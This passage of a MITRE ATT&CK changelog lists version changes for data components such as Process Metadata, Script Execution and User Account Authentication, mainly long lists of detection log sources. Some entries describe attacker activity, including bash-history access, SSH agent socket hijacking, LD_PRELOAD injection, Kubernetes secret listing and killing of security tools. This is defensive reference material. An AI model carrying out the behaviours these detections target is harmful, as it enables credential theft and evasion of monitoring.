x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0034] Process Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess, LoadLibrary)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:37.873000+00:00	2025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.exit.code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:34.519000+00:00	2025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0109] Process/Event Alarm

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0109', 'external_id': 'DC0109'}]
x_mitre_log_sources		[{'name': 'Operational Databases', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:52.496000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0001] Scheduled Job Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:43.635000+00:00	2025-10-21 15:14:35.814000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0005] Scheduled Job Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/.plist, ~/Library/LaunchAgents/.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:56.271000+00:00	2025-10-22 19:03:38.549000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

iterable_item_added
STIX Field	Old value	New Value
x_mitre_domains		ics-attack

[DC0012] Scheduled Job Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}]
x_mitre_log_sources		[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:40.267000+00:00	2025-10-21 15:14:38.292000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0029] Script Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}]
x_mitre_log_sources		[{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:46.164000+00:00	2025-10-21 15:14:36.018000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0060] Service Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:54.408000+00:00	2025-10-21 15:14:36.315000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0041] Service Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:39:52.137000+00:00	2025-10-21 15:14:36.382000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0065] Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}]
x_mitre_log_sources		[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:57.700000+00:00	2025-10-21 15:14:37.211000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0111] Software

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0111', 'external_id': 'DC0111'}]
x_mitre_log_sources		[{'name': 'Asset', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:53.563000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0002] User Account Authentication

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}]
x_mitre_log_sources		[{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin \| eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:42.067000+00:00	2025-10-21 15:14:34.948000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0045] Windows Registry Key Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}]
x_mitre_log_sources		[{'name': 'Windows Registry', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
